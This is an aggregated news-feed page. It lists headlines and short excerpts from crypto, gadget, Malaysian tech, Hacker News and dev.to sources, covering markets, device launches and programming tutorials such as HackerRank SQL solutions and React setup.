    Bitcoin Miner Bitfarms Jumps 8% on Share Buyback Program
    The company CEO called the stock undervalued, with an "underappreciated" bitcoin business and little to no value being applied to the firm's high-performance computing potential.
    SharpLink's Ether Bet Surpasses $1.3B After Latest Purchase
    The ether treasury company said it bought nearly 80,000 ETH over the last week as Joseph Lubin praised the GENIUS Act as a watershed moment for regulatory clarity.
    CoinDesk 20 Performance Update: Solana (SOL) Rises 3.6%, Leading Index Higher
    Bitcoin (BTC) was also a top performer, rising 1.9% from Monday.
    Citadel Securities Warns SEC Against Rushed Tokenized Securities Rollout
    Founded by billionaire Ken Griffin, the firm argued that these blockchain-based products could create unfair advantages and drain liquidity from traditional equity markets.
    Blockchain Could Boost Covered Bonds, but Adoption Faces Major Hurdles: Moody's
    Moody’s notes that current blockchain use is mostly limited to on-chain bond issuance, with certain key functions still reliant on off-chain infrastructure
    Solana Defies Market Drop, Touches $200 as Altcoins Retreat: Crypto Daybook Americas
    Your day-ahead look for July 22, 2025
    Archax to Acquire Deutsche Digital Assets, Expanding Crypto ETP Reach in Europe
    The UK-regulated platform adds German crypto manager DDA, gaining BaFin permissions and $70 million AUM.
    XRP Hits All-Time High Before Forming Bearish Double Top Pattern, Ether Prints 'Doji'
    ETH prints a Doji on the daily chart as XRP teases a double top on intraday charts.
    Western Union CEO Views Stablecoins as an Opportunity, Not a Threat: Bloomberg
    "Last I checked, you couldn't spend stablecoin if you wanted to buy a Coca Cola," Western Union CEO Devin McGranahan said
    SpaceX Wallet Springs to Life With $153M Bitcoin Transfer, First Move Since 2022
    This is the first recorded outbound transfer since June 10, 2022, when it moved 3,505 BTC (worth some $102 million at the time) to Coinbase.
  • Open

    How to Build Robust Networking Layers in Swift with OpenAPI
    What is the Problem We’re Solving? For many app developers, including me, writing the networking layer of an application is a familiar and tedious process. You write and test your first call and after that, it involves a repetitive cycle of tasks. Th...  ( 15 min )
    VPS vs PaaS: How to Choose a Hosting Solution
    If you’ve ever stared at a dozen hosting plans, not sure which one to choose, you’re not alone. Hosting isn’t one-size-fits-all, and knowing the difference between a VPS (Virtual Private Server) and a PaaS (Platform as a Service) can help you pick so...  ( 8 min )
    Helpful Built-in Functions in C++ that All Devs Should Know
    Built-in functions in C++ are those functions that are part of the C++ standard libraries. These functions are designed to provide common and essential functionality that is often required in programming. In this article, we will look at some of the ...  ( 9 min )
    Data Structure and Algorithm Patterns for LeetCode Interviews
    To get the best tech jobs, it can be helpful to understand how to apply data structures and algorithms to coding challenges. We just published a comprehensive course on the freeCodeCamp.org channel about data structures and algorithms. This course wi...  ( 4 min )
    Implement VGG From Scratch with PyTorch – Deep Learning Theory
    Visual Geometry Group (VGG) is one of the most influential convolutional neural networks in computer vision. It is a deep convolutional neural network architecture known for its simple, uniform use of small 3x3 filters stacked in sequence, enabling p...  ( 4 min )
  • Open

    Fighting forever chemicals and startup fatigue
    What if we could permanently remove the toxic “forever chemicals” contaminating our water? That’s the driving force behind Michigan-based startup Enspired Solutions, founded by environmental toxicologist Denise Kay and chemical engineer Meng Wang. The duo left corporate consulting in the rearview mirror to take on one of the most pervasive environmental challenges: PFAS. “PFAS is…  ( 34 min )
    The Download: how to melt rocks, and what you need to know about AI
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. This startup wants to use beams of energy to drill geothermal wells Geothermal startup Quaise certainly has an unconventional approach when it comes to destroying rocks: it uses a new form of drilling…  ( 22 min )
    This startup wants to use beams of energy to drill geothermal wells
    A beam of energy hit the slab of rock, which quickly began to glow. Pieces cracked off, sparks ricocheted, and dust whirled around under a blast of air.  From inside a modified trailer, I peeked through the window as a millimeter-wave drilling rig attached to an unassuming box truck melted a hole into a piece…  ( 28 min )
    Five things you need to know about AI right now
    Last month I gave a talk at SXSW London called “Five things you need to know about AI”—my personal picks for the five most important ideas in AI right now.  I aimed the talk at a general audience, and it serves as a quick tour of how I’m thinking about AI in 2025. I’m sharing…  ( 22 min )
  • Open

    Introducing Webhooks: Real-Time Blockchain Data in Seconds
    Create your first Webhook for the easiest alerts with custom filters and pre-built templates.  ( 4 min )
  • Open

    DJI Osmo 360 Listed On SIRIM; Local Launch Soon?
    Leaks surrounding a potential 360-degree action camera by DJI have been making rounds for quite some time. Now, it appears that the company is finally gearing up to launch the device soon, with Malaysia included as a target market. We’ve recently discovered that the upcoming action camera, confirmed to be called the DJI Osmo 360, […] The post DJI Osmo 360 Listed On SIRIM; Local Launch Soon? appeared first on Lowyat.NET.  ( 34 min )
    Ford Bronco Officially Revealed In China
    Ford released official images of the Bronco ahead of its launch. The mid-size SUV is offered in EV and Extended-Range Electric Vehicle (EREV) variants. These models will be manufactured in China through the Jiangling Motors (JMC)-Ford joint venture. However, there was not much information other than the pictures, but thanks to China’s Ministry of Industry […] The post Ford Bronco Officially Revealed In China appeared first on Lowyat.NET.  ( 34 min )
    Rakuten Kobo Partners With Instapaper To Replace Mozilla Pocket
    If you’re into e-readers, then you’re probably aware of Rakuten Kobo. And if you’re familiar with the name, then you’ve probably heard that it had ended its partnership with Mozilla Pocket, owing to the latter being shut down. The good news is, the Canadian e-reader company has found a replacement service in the form of […] The post Rakuten Kobo Partners With Instapaper To Replace Mozilla Pocket appeared first on Lowyat.NET.  ( 33 min )
    MSI Claw 8 Appears In SIRIM; Could Launch End Of August 2025
    When we first laid eyes on the the MSI Claw 8 with the AMD Ryzen Z2 Extreme at Computex 2025, it was clear that the PC brand was intent on jumping onto the AMD bandwagon and fit right in with the other major gaming handheld brands. The console recently popped up in the SIRIM database, […] The post MSI Claw 8 Appears In SIRIM; Could Launch End Of August 2025 appeared first on Lowyat.NET.  ( 34 min )
    BMW, Mini Apps Now Offer Carbon Footprint Insights
    As automakers continue to embrace digital innovation, many are developing dedicated apps to enhance vehicle connectivity, convenience, and user control. Among them are the BMW and MINI apps, which have recently been updated with a new feature that provides customers with insights into their vehicle’s carbon footprint. The latest update introduces a new function within […] The post BMW, Mini Apps Now Offer Carbon Footprint Insights appeared first on Lowyat.NET.  ( 35 min )
    Malaysian Monthly Minimum Wage Now Set At RM1,700; Effective Starting 1 August
    The Human Resources Ministry is laying down the law. Starting from 1 August, the minimum monthly wage employers must pay to staff is RM1,700. The Ministry says that after the date, the rule will be applied to all employers nationwide, regardless of the number of employees working under them.“From 1 August 2025, all employers without […] The post Malaysian Monthly Minimum Wage Now Set At RM1,700; Effective Starting 1 August appeared first on Lowyat.NET.  ( 34 min )
    MCMC Confiscates TikTok User’s Phone Over Offensive Content
    The Malaysian Communications and Multimedia Commission (MCMC) is currently investigating a TikTok user for allegedly posting false and offensive content about Prime Minister Datuk Seri Anwar Ibrahim. The individual reportedly made two separate posts of this nature. As part of the investigation, the commission has confiscated the user’s mobile phone and SIM card. MCMC believes […] The post MCMC Confiscates TikTok User’s Phone Over Offensive Content appeared first on Lowyat.NET.  ( 33 min )
    Samsung May Drop Titanium For The Galaxy Z Fold8 Back Plate
    To ensure the Galaxy Z Fold7 is as durable as it can be, Samsung has opted to give it a titanium back plate. It’s an understandable move, considering it is now thinner than ever before. But it looks like the use of the material is not guaranteed for next year’s Galaxy Z Fold8. A recent […] The post Samsung May Drop Titanium For The Galaxy Z Fold8 Back Plate appeared first on Lowyat.NET.  ( 34 min )
    Lenovo Legion Go 2 Prototypes Supposedly Purchasable In China
    The Lenovo Legion Go 2 isn’t officially available on the market, nor has it been announced by the brand itself, with its last appearance being at CES 2025. Despite all this, the console is reportedly being sold widely via a Chinese digital marketplace. To be clear, the Legion Go 2 consoles that are being sold […] The post Lenovo Legion Go 2 Prototypes Supposedly Purchasable In China appeared first on Lowyat.NET.  ( 35 min )
    Lexus RX 500h F Sport Special Edition Available In Malaysia
    Lexus Malaysia released an announcement revealing the addition of the RX 500h F Sport Special Edition to the Malaysian market. This was announced on the automaker’s social media platforms. According to the posting, it seems like only 50 units of the special edition model are available in Malaysia. Furthermore, this special edition comes with a […] The post Lexus RX 500h F Sport Special Edition Available In Malaysia appeared first on Lowyat.NET.  ( 35 min )
    Nokia May Be Looking For Another Licensing Partner For Mobile
    The name Nokia has certainly seen better days, especially in the mobile phone industry. Its licensing deal with HMD Global started winding down, but it looks like the Finnish company may be looking for something similar.  Which does unfortunately means that it still won’t be making its own phones. First spotted by Romanian site Mobilissimo […] The post Nokia May Be Looking For Another Licensing Partner For Mobile appeared first on Lowyat.NET.  ( 33 min )
    Tecno Pova 7 4G Lands In Malaysia; Starts From RM1,199
    The Tecno Pova 7 series – comprising a 4G and 5G base models, as well as a Pro and Ultra variants – was first introduced in India earlier this month. Now, the brand has confirmed that the 4G version is now available in Malaysia, with the rest of the series promised to be introduced soon. […] The post Tecno Pova 7 4G Lands In Malaysia; Starts From RM1,199 appeared first on Lowyat.NET.  ( 34 min )
    Google Teases Pixel 10 Ahead Of Launch
    Last week, Google confirmed that it is unveiling the Pixel 10 series at its Made by Google event on 20 August. After being inundated with rumours and leaks ahead of the launch, we’re finally getting the first official look at one of the models in the lineup. The US Google Store was recently updated with […] The post Google Teases Pixel 10 Ahead Of Launch appeared first on Lowyat.NET.  ( 34 min )
    Dewan Rakyat Passes Consumer Credit Bill To Regulate BNPL, Non-Bank Lenders
    The Dewan Rakyat has passed the Consumer Credit Bill 2025, introducing long-awaited regulation for non-bank credit and credit service providers in Malaysia. Approved through a majority voice vote, the legislation will lead to the formation of a new statutory body, the Consumer Credit Commission (CCC), tasked with enforcing standards, monitoring industry conduct, and advising the […] The post Dewan Rakyat Passes Consumer Credit Bill To Regulate BNPL, Non-Bank Lenders appeared first on Lowyat.NET.  ( 35 min )
    Warframe Android Closed Beta Test Coming This Fall
    Warframe developer Digital Extremes recently held its yearly TennoCon event, where it revealed its upcoming plans for the looter-shooter video game. Among the announcements is the upcoming launch of a closed beta test for the Android version of the game. While the developer did not mention a specific date for the test, it is confirmed […] The post Warframe Android Closed Beta Test Coming This Fall appeared first on Lowyat.NET.  ( 34 min )

  • Open

    Nvidia Launches Family of Open Reasoning AI Models: OpenReasoning Nemotron
    Comments  ( 9 min )
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    Comments  ( 10 min )
    Trucking's uneasy relationship with new tech
    Comments  ( 23 min )
    Uv: Running a script with dependencies
    Comments  ( 6 min )
    FCC to eliminate gigabit speed goal and scrap analysis of broadband prices
    Comments  ( 29 min )
    LetsEncrypt Outage
    Comments  ( 4 min )
    Nine households control 15% of wealth in Silicon Valley as inequality widens
    Comments  ( 13 min )
    Spice Data (YC S19) Is Hiring
    Comments  ( 3 min )
    Neon Now Runs in VS Code
    Comments  ( 38 min )
    Working on a Programming Language in the Age of LLMs
    Comments  ( 5 min )
    The surprising geography of American left-handedness (2015)
    Comments
    In a Major Reversal, the World Bank Is Backing Mega Dams
    Comments  ( 9 min )
    Jane Jacobs Got Americans Stuck
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    High-speed organic light-emitting diodes achieving 4-Gbps communication
    Comments
    The special hell of Bolt, Europe's Uber clone
    Comments  ( 4 min )
    Africa's gigantic $80B dam could transform entire continent
    Comments  ( 34 min )
    Robot scans rare library books at 2.5k pages per hour
    Comments  ( 12 min )
    Kimi-K2 Tech Report [pdf]
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    Nuclear Reactor SIM by PeteTimesSix
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    Erlang 28 on GRiSP Nano using only 16 MB
    Comments  ( 3 min )
    Scarcity, Inventory, and Inequity: A Deep Dive into Airline Fare Buckets
    Comments  ( 18 min )
    12ft.io Taken Down
    Comments  ( 25 min )
    I know genomes. Don't delete your DNA
    Comments
    The Fundamentals of Asyncio
    Comments  ( 7 min )
    MIPS – The hyperactive history and legacy of the pioneering RISC architecture
    Comments
    Rapidus Starts 2nm Gate All Around Prototype Production at IIM-1 – ServeTheHome
    Comments  ( 10 min )
    What Went Wrong Inside Recalled Anker PowerCore 10000 Power Banks?
    Comments  ( 36 min )
    Show HN: Lotas – Cursor for RStudio
    Comments  ( 1 min )
    What Will Become of the CIA?
    Comments  ( 152 min )
    Work Life balance slows careers
    Comments  ( 17 min )
    SQL Injection as a Feature
    Comments  ( 15 min )
    Game Genie Retrospective: The Best NES Accessory Ever Was Unlicensed
    Comments  ( 17 min )
    Show HN: Pogocache – Fast caching software
    Comments  ( 38 min )
    Germany's Fairytale Castles Added to UNESCO's World Heritage List
    Comments  ( 5 min )
    Jqfmt like gofmt, but for jq
    Comments  ( 9 min )
    Don't bother parsing: Just use images for RAG
    Comments  ( 18 min )
    I deleted my entire social media presence before visiting the US – I'm a citizen
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    Brazil central bank to launch Pix installment feature in September
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    Make Map Icons with Orthographic Projections
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    Reverse Engineering the Mysterious Up-Data Link Test Set from Apollo
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    Accountant Simulator 2025
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    Gemini with Deep Think officially achieves gold-medal standard at the IMO
    Comments  ( 7 min )
    Show HN: MCP Jetpack – The easiest way to get started with MCP in Cursor
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    Modern Debian-based Window Maker distribution
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    Solar+storage is so much farther along than you think
    Comments  ( 79 min )
    Outdoor activity is better for cognition than indoor activity in young people
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    India: Income Tax Bill allows officials to forcibly access social media, email
    Comments  ( 24 min )
    Comparison of MGR, SunView, OpenWindows and X11R6 (2022)
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    Memory Efficiency in iOS: Reducing footprint and beyond
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    SecretSpec: Declarative Secrets Management
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    modernish
    Comments  ( 252 min )
    Australian anti-porn group claims responsibility for Steams new censorship rules
    Comments  ( 57 min )
    Hegel Dust
    Comments  ( 82 min )
    Covers as a way of learning music and code
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    New records on Wendelstein 7-X
    Comments  ( 8 min )
    Shale Drillers Turn on Each Other as Toxic Water Leaks Hit Biggest US Oil Field
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    Occasionally USPS sends me pictures of other people's mail
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    Using MacBook's trackpad as digital weighing scale
    Comments  ( 9 min )
    Finding Robert Bogucki, the man who disappeared on purpose
    Comments  ( 33 min )
    UK backing down on Apple encryption backdoor after pressure from US
    Comments  ( 8 min )
    No Cheese Please
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    Please, FOSS world, we need something like ChromeOS
    Comments  ( 7 min )
    Spanish police arrest five over $542M crypto investment scheme
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    XML Summer School, Oxford. 14th to 19th Sept 2025
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    Low-Temp 2D Semiconductors: A Chipmaking Shift
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    Ask HN: Why do Cursor, Windsurf and Claude Code dominate the conversation?
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    The dawn of quantum advantage
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    (Python) Poste Italiane document parser
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    Cryptocurrency exchanges begin offering tokenized securities
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    Show HN: MCP server for up-to-date Zig standard library documentation
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    Developing with Kiro: Amazon's New Agentic IDE
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    Ryanair may increase commission to staff identifying oversized cabin bags
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    Lslvr/mwm: The smallest (usable) X11 window manager
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    Show HN: tsbro – TypeScript for the Browser, No Build Step
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  • Open

    Chapter 8 : Measuring Product Success and Learning from Outcomes
    📘 Series: Becoming a Great Product Manager Chapter 8: Measuring Product Success and Learning from Outcomes Launching a feature is not the finish line. It’s the start of understanding whether your work is truly making an impact. Great product managers measure success, analyze results, and use those insights to improve the next iteration. In this chapter, we’ll explore how to define meaningful success metrics, collect the right data, and learn from outcomes. The most important step in measuring success happens before you even start building. You need a clear hypothesis for why a change matters and how you’ll know it worked. Without this alignment, you’ll end up shipping features without a way to evaluate their impact. Example: Before redesigning an onboarding flow, you d…  ( 5 min )
    PixLab Vision Workspace - Best Productivity App
    Unlocking True Document Productivity with PixLab Vision Workspace Vishal Yadav ・ Jul 21 #webdev #programming #javascript #ai  ( 2 min )
    Hackerrank - SQL - The PADS
    Repo: https://github.com/mrpunkdasilva/hackerrank/edit/main/sql/basic/the-pads/README.md Generate the following two result sets: Query an alphabetically ordered list of all names in OCCUPATIONS, immediately followed by the first letter of each profession as a parenthetical (i.e.: enclosed in parentheses). For example: AnActorName(A), ADoctorName(D), AProfessorName(P), and ASingerName(S). Query the number of occurrences of each occupation in OCCUPATIONS. Sort the occurrences in ascending order, and output them in the following format: There are a total of [occupation_count] [occupation]s. where [occupation_count] is the number of occurrences of an occupation in OCCUPATIONS and [occupation] is the lowercase occupation name. If more than one occupation has the same [occupation_count…  ( 4 min )
    Hackerrank - SQL - Select By ID
    Repo https://github.com/mrpunkdasilva/hackerrank/blob/main/sql/basic/select-by-id/README.md Query all columns for a city in the CITY table with the ID 1661. The CITY table is described as follows: Field Type ID NUMBER NAME VARCHAR2(17) COUNTRYCODE VARCHAR2(3) DISTRICT VARCHAR2(20) POPULATION NUMBER Use a SELECT statement with the asterisk (*) wildcard to retrieve all columns from the CITY table, and apply a WHERE clause to filter for the specific ID. Start with the SELECT statement to retrieve all columns: SELECT * Specify the table to query from: FROM CITY Add the WHERE clause to filter by ID: WHERE ID = 1661 The final query: SELECT * FROM CITY WHERE ID = 1661; The query will return all columns (ID, NAME, COUNTRYCODE, DISTRICT, POPULATION) for the city with ID 1661.  ( 3 min )
    Planeje, abstraia e construa
    Quando atingimos um certo nível de domínio em uma linguagem ou framework — aquele momento em que já conseguimos criar aplicações reais, como uma API ou uma landing page — é comum ficarmos empolgados. De repente, queremos construir tudo, aprender o máximo possível e entrar logo no mercado, sendo finalmente pagos para programar. Mas é exatamente nesse ponto que a confusão começa. Várias vezes me peguei iniciando uma ideia “milionária” que surgiu do nada: um projeto incrível que, na minha cabeça, faria recrutadores disputarem por mim e mostraria ao mundo o meu talento. Em todas essas vezes, desisti nas primeiras duas horas. Consigo listar projeto por projeto que abandonei logo após implementar um fluxo de usuário, uma autenticação ou até mesmo um simples endpoint. Hoje entendo com clareza qua…  ( 4 min )
    Build My API – Custom Backend Endpoints & Automations, On Demand
    As solo founders and small teams, we often lose time on backend work that isn’t core to the product — webhooks, routines, third-party APIs, data checks, notifications. That’s where Build My API comes in. We build and host custom endpoints and routines based on your exact needs. Want to check daily for unpaid users and send reminders? Need a webhook that validates a document or generates a payment link? Just tell us — we deliver it, documented and ready to use. No infra to manage. No scaling headaches. Just focused backend logic, shipped fast. 🧠 Great for: Internal tools Payment or notification flows Integrations with Stripe, Twilio, gov APIs Scheduled data jobs or automations We’re a senior dev duo with years of experience building APIs for startups and enterprises. Now we’re putting that experience to work for indie builders. 👉 Submit your request here and let’s build something together.  ( 3 min )
    Local Storage, Session Storage, and Cookies: Unique Guide
    A buddy of mine asked me, "Aside database, are there other methods one can store data from the web". I gave him a response of course, and thought to render same knowlege to others hungry for such insight. So, here's one for all of you. When you're starting out in web development, you'll encounter three important ways to store data in the browser: Local storage, Session storage, and Cookies. These methods help websites remember information about you or your activity, creating a more personalized and seamless browsing experience. Although they are all storage methods, each serves distinct purposes and has unique characteristics. Cookies are the oldest and most widely recognized method of storing data in web browsers. Think of them as small digital notes that websites leave on your device. E…  ( 5 min )
    Java Records vs Lombok: Guia Definitivo para Escolher a Ferramenta Certa
    Introdução A eterna busca por reduzir o código boilerplate em Java ganhou duas ferramentas poderosas: Java Records (introduzidos no Java 14 e estabilizados no Java 16) e Lombok (biblioteca amplamente adotada há anos). Embora ambos ataquem o mesmo problema - a verbosidade do Java - eles fazem isso de maneiras fundamentalmente diferentes, com implicações importantes para o design e arquitetura do seu código. Este artigo vai além da comparação superficial de sintaxe e mergulha nas diferenças semânticas, casos de uso práticos e trade-offs de cada abordagem. Records não são apenas uma forma concisa de criar classes - eles são tipos de produto com semântica específica. Segundo a JEP 395: "Records são portadores transparentes de dados imutáveis" A palavra-chave aqui é transparente. Records segu…  ( 7 min )
    Hackerrank - SQL - Select All
    Problem Description Query all columns (attributes) for every row in the CITY table. The CITY table is described as follows: Field Type ID NUMBER NAME VARCHAR2(17) COUNTRYCODE VARCHAR2(3) DISTRICT VARCHAR2(20) POPULATION NUMBER Use a simple SELECT statement with the asterisk (*) wildcard to retrieve all columns from the CITY table. Start with the SELECT statement and use the asterisk (*) to select all columns: SELECT * Specify the table to query from: FROM CITY; The final query: SELECT * FROM CITY; The query will return all rows from the CITY table, displaying all columns (ID, NAME, COUNTRYCODE, DISTRICT, POPULATION) for each city in the database.  ( 3 min )
    Ruby Data Class: Syntax
    What is Ruby's Data class? The Data class was introduced to Ruby in Ruby 3.2, to: 'define simple classes for value-alike' store immutable atomic values We call Data.define and pass keyword arguments. Book = Data.define(:title, :author, :year) We can define methods as well if we pass it a block. Book = Data.define(:title, :author, :year) do SUMMARY = '%s was written by %s in %i.' def to_s SUMMARY % {title:, author:, year:} end end hobbit = Book.new("The Hobbit", "J.R.R. Tolkien", 1937) puts hobbit # => nil 'The Hobbit was written by J.R.R. Tolkien in 1937.' Call .new or use [] notation Use keyword or positional arguments .new + keyword arguments hobbit = Book.new(title: "The Hobbit", author: "J. R. R. Tolkien", year: 1937) # => hobbit.author # => "J. R. R. Tolkien" hobbit.year # => 1937 hobbit.title # => "The Hobbit" Location = Data.define(:latitude, :longitude) # => Location We can use positional arguments but need to take care with the order. philadelphia = Location[39.9526, -75.1652] # => # philadelphia.latitude # => 39.9526 philadelphia = Location[-75.1652, 39.9526] # => # philadelphia.latitude # => -75.1652 Note that with keyword arguments, we have flexibility in the order we pass arguments. philadelphia = Location[latitude: 39.9526, longitude:-75.1652] # => # philadelphia.latitude # => 39.9526 philadelphia = Location[longitude:-75.1652, latitude: 39.9526] # => # philadelphia.latitude # => 39.9526 Official Ruby Data Class Documentation Ruby Feature Proposal #16122 — Data Class Ruby Data Class — Pull Request #6353  ( 4 min )
    Creating Blog Tutorial Using Next.JS 15 & TailwindCSS 4.0 (Part #4)
    Welcome back, blog architects! With our project initialized, configured, and structured, it’s time to roll up our sleeves and code the beating heart of our Next.js 15.x.x and Tailwind CSS 4.x.x blog. In this section, we’re diving into the "Core Layout Components"—the foundational pieces that define our app’s shell. Inspired by the bold, user-friendly vibe of Modern web design, we’ll build a responsive, visually stunning blog with modern twists like blurry navbars, dynamic footers, and accessibility-first design. As a senior systems analyst, I’m here to deliver code that’s clean, heavily commented, and packed with cutting-edge techniques—perfect for newbies and pros alike. Let’s start with the App Shell components: BlurNavbar, Footer, Layout, Container, and SkipNav. The App Shell is the sc…  ( 8 min )
    🚀 The Ultimate DevOps Emoji Glossary
    For World Emoji Day, we translated the highs, lows, and sheer chaos of Infrastructure as Code (IaC) — one emoji at a time. The result? The first DevOps Emoji Glossary, built for anyone who's wrestled with IaC drift, broken pipelines, or unpredictable automation. From Terraform maps to ClickOps nightmares, this glossary turns real infrastructure problems into emoji form — because sometimes, the cloud really is too messy for words. 🧱🔥😵 🚀 Bonus: If you're a DevOps Manager, SRE, or part of a DevSecOps team — this one's for you. terraform init — 🧱🔨🧰 Getting the toolbox ready. First step of the chaos. 👉 Terraform AWS Provider Guide terraform plan — 🧠📜🤔 Thinking hard about what to break next. 👉 What is Terraform Plan terraform apply — 🚀🔁🏗️ Apply complete. Consequences pending…  ( 4 min )
    Socrates Deutschland 2025
    My colleague & me were on the Socrates un-conference in Soltau, Germany. This was our 2nd Socrates, as we were both at the UK version last year. Comparison with the UK conference is not very interesting: There were more people than in the UK (this is usually the biggest Socrates by far) and the hotel was new, built specifically for conferences & gatherings. Other than that the venue type was similar and the people were as smart, as kind & as inviting as in the UK. Comparison with other conferences and life experiences in general is close to impossible. The German Socrates is as radical as the UK Socrates in more than one aspect. Socrates is a complex endeavour and describing it is difficult. Hence I will do the engineering thing and analyse it. This means chopping it up into pieces (callin…  ( 5 min )
    Install GE-Proton on Linux
    For native Steam installations (most common): ~/.steam/steam/compatibilitytools.d/ For Flatpak Steam installations: ~/.var/app/com.valvesoftware.Steam/data/Steam/compatibilitytools.d/ Download the latest GE-Proton release: Go to the official GloriousEggroll GitHub https://github.com/GloriousEggroll/proton-ge-custom Extract the downloaded GE-Proton10-10.tar.gz file directly into the compatibilitytools.d folder. Make sure the extracted folder (e.g., GE-ProtonX-XX) is directly inside compatibilitytools.d. Make sure to unzip the achieved file GE-Proton10-10.tar.gz and removed the archived file after extracting all the folder contents Restart Steam: Close and relaunch your Steam client. In Steam go to "Compatibility" tab and choose the GE-ProtonX-XX and it will prompt you to restart the Steam again to take effect the changes.  ( 3 min )
    Rethinking Playwright MCP: From Chat Prompts to Feature Files
    I've been using vanilla Playwright for almost two years now, and when Playwright MCP was introduced, I was immediately fascinated. The idea of letting an LLM write and execute your tests just by chatting with it felt straight out of science fiction. I watched demo after demo—each one using a different AI-first IDE like Cursor, Claude Desktop, or VSCode extensions—to prompt the agent and run the test. While the tech is undeniably impressive, I couldn't shake the feeling that something wasn't clicking for me. As much as I loved the concept, the idea of testing an application through a conversation felt impractical in real-world workflows. Test case creation requires structure, repeatability, and collaboration—not just creative phrasing. Having to rely on a custom IDE or chat agent to generat…  ( 5 min )
    🔥 Top 5 Emerging Trends in Smart Home AI for 2025
    As artificial intelligence continues to evolve, smart homes are no longer a futuristic concept—they are becoming an integral part of how we manage energy, security, comfort, and daily routines. Engineers, data scientists, and tech enthusiasts working in home automation are already seeing rapid changes in architecture, AI integration, and user experience. Here are the top 5 most impactful trends in smart home AI to watch in 2025: Smart homes are shifting from static automation to dynamic, AI-driven systems that learn and adapt to the residents’ behavior. Expect: Why it matters: Energy-efficient homes aren’t just good for the planet—they drastically cut utility bills. We're moving beyond simple voice commands and schedules. Context-aware systems use environmental data, biometrics, and real-t…  ( 4 min )
    It is all about politics
    Imagine the company which is delivering water from point A to B. This is their business value and customers are paying for this huge amount of money. You are coming there as a new hire and notice they are using buckets. They pile them up for few months: fill them with water and put them on the huge trolley truck. At some point of time they move it by hands to point B. All the buckets are constantly leaking. Strange thing. "Hey guys your buckets are leaking!", you are so proud you can immediately contribute, "let's seal them up and then maybe we could think of some more automatic way of moving them between the points". Yes, it was easy, they are lucky they hired you. "Well, we are doing our business the right way. Of course, there is always a room for improvement but we are in the middle of…  ( 5 min )
    Demystifying DevOps
    Your DevOps Roadmap: Where to Start? Feeling excited about the possibilities of making your business tech run smoother? Implementing DevOps isn't an overnight sprint; it's a journey. Think of it like building a new wing for a booming shop you don't just put up walls randomly. Here's a simplified roadmap to guide your organization: Start with the Culture Shift (Team Talk First) Automate What Hurts Most (Fix the Biggest Wahala) Implement Continuous Integration (Frequent Updates, No Surprises) Embrace Infrastructure as Code (Blueprint Your Systems) Monitor Everything (Eyes on the Market): DevOps is an ongoing journey. Regularly review your processes, learn from failures and successes, and make small, continuous improvements. Demystifying DevOps and Tech for Every Nigerian Business A few …  ( 8 min )
    Como integrar AWS Cognito com S3 usando IAM: segurança e performance para aplicações modernas
    Introdução Ao desenvolver aplicações modernas, especialmente APIs backend ou apps web/mobile que lidam com upload e download de arquivos, um desafio recorrente surge: como garantir segurança, escalabilidade e controle de acesso, sem criar um monólito de permissões no backend? É comum que desenvolvedores, por inexperiência ou por necessidade de entregar rápido, configurem buckets do S3 como públicos ou utilizem APIs internas para manipular arquivos — centralizando responsabilidades e aumentando o risco. Mas existe uma alternativa nativa, segura e performática: integrar AWS Cognito, IAM e S3, delegando a autenticação e autorização diretamente para os serviços gerenciados da AWS. Este artigo mostra como essa abordagem funciona, por que ela é considerada uma boa prática e como aplicá-la com cl…  ( 5 min )
    [Boost]
    🚀 React 19 + React Router v7: A Modern Approach to Building React Apps Seyed Ahmad ・ Jul 21 #react19 #reactrouter7 #webdev #programming  ( 2 min )
    🚀 React 19 + React Router v7: A Modern Approach to Building React Apps
    With the release of React 19 and the latest evolution of React Router v7, the way we scaffold, structure, and scale React apps is changing — for the better. In this article, I’ll walk you through: The new create-react-router installer How React Router v7 redefines routing What’s inside the new root.tsx Support for SSR, SSG, and React Server Components (RSC) How this approach compares with building React apps from scratch Let’s dive in. 🔍 The modern way to start a React app is as simple as: npx create-react-router@latest This command sets up a full-stack-capable React app powered by: Vite as the lightning-fast build tool React Router v7 for routing Smart file-based routing with routes/ folder Built-in support for loaders, actions, and error boundaries SSR/SSG/RSC capabilities via plugin…  ( 5 min )
    SQL Server as a Configuration Provider in .NET Core
    By default, ASP.NET Core applications load configuration from JSON files, environment variables, or secret stores like Azure Key Vault. However, there are scenarios where storing configuration in a relational database like SQL Server can be advantageous—especially when values need to change at runtime, or when managing settings for multiple environments or tenants. This article shows you how to build a custom IConfigurationProvider that loads configuration from a SQL Server database. We’ll cover setup, integration with IConfiguration, reload support, and security considerations to make the solution robust and production-ready. Some typical use cases: Need to update app settings dynamically without restarting the app. Centralised configuration management for multiple apps or tenants. Busine…  ( 5 min )
    How to Release Unused Elastic IPs on AWS with One Prompt
    👉🏽 Try Rebase for free, no credit card needed If you have used AWS, you know about Elastic IPs. These are public IPs you can stick to your EC2 instances, load balancers, or NAT gateways. They let you keep the same public IP, even if you stop and start your resources. This comes in handy if you want to keep your DNS or firewall rules simple. The thing is, Elastic IPs are not free if you leave them unused. AWS will charge you for any Elastic IP that is not attached to a running resource. If you forget to clean up, your bill goes up for no good reason. Removing unused IPs is one of those things people put off, especially if you have a bunch of them across different regions. With Rebase, you do not have to mess around in the console or write a script for it. You just give it a prompt and it handles everything for you. Here is how it looks in action. First, just ask the agent to show you the VPCs and Elastic IPs you have. Now, ask the agent to release all the unassociated Elastic IPs. That is all it takes. You can check in the AWS Console to confirm they are gone.  ( 3 min )
    Building a Sales Analytics Dashboard on Azure PostgreSQL + Azure Data Studio
    In this post, I’ll walk you through how I deployed my Sales Analytics Project to an Azure PostgreSQL database, queried it using SQL, and visualized insights directly in Azure Data Studio. If you're just getting started with databases and want a real-world project to practice with, this one’s for you. GitHub Repository: Sales Analytics This SQL-only project simulates a retail store’s backend — with tables like: products customers sales store staff We perform analysis to answer questions like: What are the most bought items? Which regions bring in the most revenue? Who are our top customers? PostgreSQL (SQL Queries) Azure Database for PostgreSQL Azure Data Studio Visualizations Login to Azure Portal Search for "Azure Database for PostgreSQL" Choose Single server (or Flexible Server for mod…  ( 4 min )
    How to Run Payload CMS in Docker
